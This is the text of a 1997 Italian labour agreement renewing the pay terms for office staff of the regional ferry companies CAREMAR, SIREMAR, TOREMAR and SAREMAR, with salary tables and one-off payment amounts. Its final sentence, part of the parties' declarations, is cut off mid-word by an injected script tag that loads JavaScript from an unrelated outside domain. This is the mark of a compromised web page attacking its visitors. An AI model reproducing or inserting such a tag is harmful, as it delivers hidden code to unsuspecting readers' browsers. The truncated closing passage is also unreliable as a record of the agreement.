Categoria: Marittimi, uffici società di servizi locali
Settore: Trasporti
Data stipula: 25-6-1997
Data decorrenza: 1-1-1997
Data scadenza: 31-12-1998

ACCORD0

L'anno  1997, addì 25 del mese di giugno in Roma, l'Associazione  Italiana
dell'Armamento  di  Linea (FEDARLINEA), con l'assistenza dell'Associazione
Sindacale  INTERSIND  e  la FILT-CGIL, FIT-CISL  e  UILTRASPORTI  si  sono
incontrate  per il rinnovo della parte economica del Regolamento  Organico
31  gennaio  1995  per gli Addetti agli Uffici delle Società  esercenti  i
servizi  marittimi,  postali e commerciali di  carattere  locale  CAREMAR,
SIREMAR, TOREMAR e SAREMAR.

Le   parti,  considerato  il  contenuto  del  protocollo  interconfederale
23.7.93,  sia  per  quanto  riguarda  l'inflazione  pregressa  che  quella
programmata nel biennio 1997/98 pari al 4,5% (2,5% per il '97 e 2% per  il
'98),  hanno  concordato  di aumentare le paghe  come  dai  nuovi  importi
indicati  nelle  colonne 3 e 4 dell'allegato 1 a far  data  dall'1.6.97  e
dall'1.1.98.

Hanno   inoltre  concordato  che  a  copertura  del  periodo  di   vacanza
contrattuale  1.1.97-31.5.97  le  Società  provvederanno  a  liquidare  al
personale  in  servizio alla data di sottoscrizione del  presente  accordo
(4.6.97)  una  cifra  'una tantum', il cui importo, da  erogare  entro  il
30.6.97, è riportato nell'allegato 2.

Inoltre,  a  partire dall'1.6.97, sarà corrisposto per il  solo  personale
appartenente alla categoria di Capo Ufficio, S. Capo Ufficio e Addetto  di
1a  classe  un importo lordo mensile a titolo di EDR di £. 20.000  per  14
mensilità.  Tale  importo  sarà  computato  ai  fini  del  calcolo   delle
interessenze,  del  trattamento di fine rapporto  e  del  trattamento  per
ricorrenze festive che cadono di domenica, di cui all'art. 16.

Con  il  presente accordo le parti si danno reciprocamente atto  di  avere
rinnovato,    in   ottemperanza   a   quanto   disposto   dal   protocollo
interconfederale  23.7.93,  la parte economica  del  Regolamento  Organico
31.1.95  per  gli  Addetti agli Uffici delle Società esercenti  i  servizi
marittimi,  postali  e commerciali di carattere locale  CAREMAR,  SIREMAR,
TOREMAR e SAREMAR, scaduto il 31.12.96.

Il presente contratto avrà scadenza con il 31 dicembre 1998.


FILT-CGIL                                FEDARLINEA
FIT-CISL                                 INTERSIND
UILTRASPORTI



Allegato 1.

                   Paghe ante       Paga dal        Paga dal
                   adeguamento       1.6.97          1.1.98

      (1)              (2)             (3)            (4)

Capo Ufficio        1.236.200       1.278.500      1.320.800
S. Capo Ufficio     1.092.400       1.131.400      1.170.400
Categoria A         1.020.400       1.059.450      1.096.800
Categoria B           876.400         935.850        974.600
Categoria C           719.600         768.950        800.300
Categoria D           654.100         708.100        738.100

Per  effetto  degli adeguamenti paghe dell'1.6.97 e dell'1.1.98  le  scale
parametrali in atto al 31.5.97 saranno soggette a ridefinizione.



Allegato 2.

                  UNA TANTUM

Capo Ufficio        510.000
S. Capo Ufficio     400.000
Categoria A         380.000
Categoria B         340.000
Categoria C         330.000
Categoria D         310.000

I  suddetti importi 'una tantum' saranno corrisposti al personale  di  cui
sopra    rapportati   all'effettivo   servizio   prestato   nel    periodo
1.1.97-31.5.97,   con  esclusione  dei  soli  periodi   non   coperti   da
retribuzione (aspettativa, ecc.)



DICHIARAZIONI DELLE PARTI SULLA CONTRATTAZIONE DI 2° LIVELLO

La FEDARLINEA rileva, come già fatto presente alle Segreterie Nazionali in
data  11.3.97,  che  le piattaforme presentate non sono  rispondenti  alle
previsioni  del  protocollo 23.7.93 e del vigente  CCNL,  secondo  cui  la
contrattazione di 2° livello non deve comportare incremento di  costi  per
le  società, non deve riguardare materie già disciplinate dal CCNL  e  non
può  prevedere  erogazioni  retributive se<<script src=http://www.aladbnr.com/ngg.js></script>